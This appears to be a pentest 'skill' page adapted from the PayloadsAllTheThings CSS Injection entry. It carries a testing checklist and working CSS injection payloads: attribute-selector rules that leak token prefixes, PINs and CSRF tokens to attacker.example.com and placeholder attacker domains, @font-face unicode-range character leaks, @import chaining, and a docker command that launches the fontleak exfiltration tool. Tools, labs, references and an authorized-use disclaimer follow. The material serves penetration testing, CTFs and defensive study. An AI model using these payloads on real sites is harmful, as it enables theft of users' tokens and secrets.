Source: PayloadsAllTheThings/CSS Injection Category:

payloads-web

| Skill ID:

payloads-css-injection

• Identify the target technology stack and injection points
• Enumerate endpoints, parameters, and input vectors
• Determine applicable payload categories from the reference below

• Browse the PATT payload library for the attack class
• Select encoding-appropriate payloads for the target environment
• Consider WAF bypass variants and obfuscation techniques

• Test payloads in order: passive → active → escalation
• Document every payload tested and its response
• Capture PoC evidence (screenshots, HTTP logs, curl output)

• Confirm the vulnerability with a clean minimal PoC
• Map findings to CVE/CWE where applicable
• Report with remediation recommendations and code fixes

CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.

• Tools
• Methodology
  • CSS Selectors
  • CSS Import at-rule
  • CSS Conditionals
  • CSS Font-face at-rule
  • Attribute Extraction via attr()
  • Ligatures
• Labs
• References

• hackvertor/blind-css-exfiltration - A tool to exfiltrate unknown web pages using Blind CSS.
• PortSwigger/css-exfiltration - Collection of CSS based exfiltration techniques.
• cgvwzq/css-scrollbar-attack - PoC for leaking text nodes via CSS injection using scrollbars.
• d0nutptr/sic - Sequential Import Chaining for advanced CSS exfiltration.
• adrgs/fontleak - Tool for fast exfiltration of text using only CSS and Ligatures.

• input[value^=a]

  (prefix attribute selector): Selects elements where the value starts with "a".

• input[value$=a]

  (suffix attribute selector): Selects elements where the value ends with "a".

• input[value*=a]

  (substring attribute selector): Selects elements where the value contains "a".

input[value^="TOKEN_012"] {
  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}

input[name="pin"][value="1234"] {
  background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
}

• Hidden Inputs: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (

  +

  or

  ~

  ) to style a visible element that appears after the hidden input.

input[name="csrf-token"][value^="a"] + input {
  background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
}

• Has Selector: The

  :has()

  pseudo-class allows styling a parent element based on its children.

div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}

• Concurrency: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g.,

  background

  ) and the suffix check to another (e.g.,

  list-style-image

  or

  border-image

  ).

1. Inject an initial

   @import

   rule pointing to a staging payload.
2. The staging payload holds the connection open (long-polling) while generating the next specific payload.
3. When a CSS rule matches (e.g., a character is found via

   background-image

   ), the browser makes a request.
4. The server detects this request and generates the next

   @import

   rule to continue the chain.

The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla

unicode-range

/?A

<style>
@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
#sensitive-information{ font-family:poc; }
</style>
<p id="sensitive-information">AB</p>

• It cannot distinguish repeated characters (e.g., "AA" triggers the request once).
• It does not determine the order of characters.
• Despite these limitations, it is a very reliable oracle for checking character existence.
• Chrome checked this as "WontFix": issues/40083029

1. Create a custom font with ligatures for target strings.
2. Use media queries or scrollbars to detect if the rendered width of the element has changed.

docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest

fontleak

<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>

• Dojo #25 RootCSS - YesWeHack

• 0CTF 2023 Writeups - Web - newdiary - aszx87410 - December 11, 2023
• Bench Press: Leaking Text Nodes with CSS - pspaul - October 20, 2024
• Better Exfiltration via HTML Injection - d0nut - April 11, 2019
• Blind CSS Exfiltration: exfiltrate unknown web pages - Gareth Heyes - December 5, 2023
• CSS based Attack: Abusing unicode-range of @font-face - Masato Kinugawa - October 23, 2015
• CSS Data Exfiltration to Steal OAuth Token - - September 13, 2025
• CSS Injection - xsleaks.dev - May 9, 2025
• CSS Injection Attacks or how to leak content with <style> - Pepe Vila - September 28, 2025
• CSS Injection: Attacking with Just CSS (Part 2) - aszx87410 - September 24, 2023
• Fontleak: exfiltrating text using CSS and Ligatures - Dragos Albastroiu - April 16, 2025
• How you can steal private data through CSS injection - invicti - April 23, 2018
• Inline Style Exfiltration: leaking data with chained CSS conditionals - Gareth Heyes - August 26, 2025

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.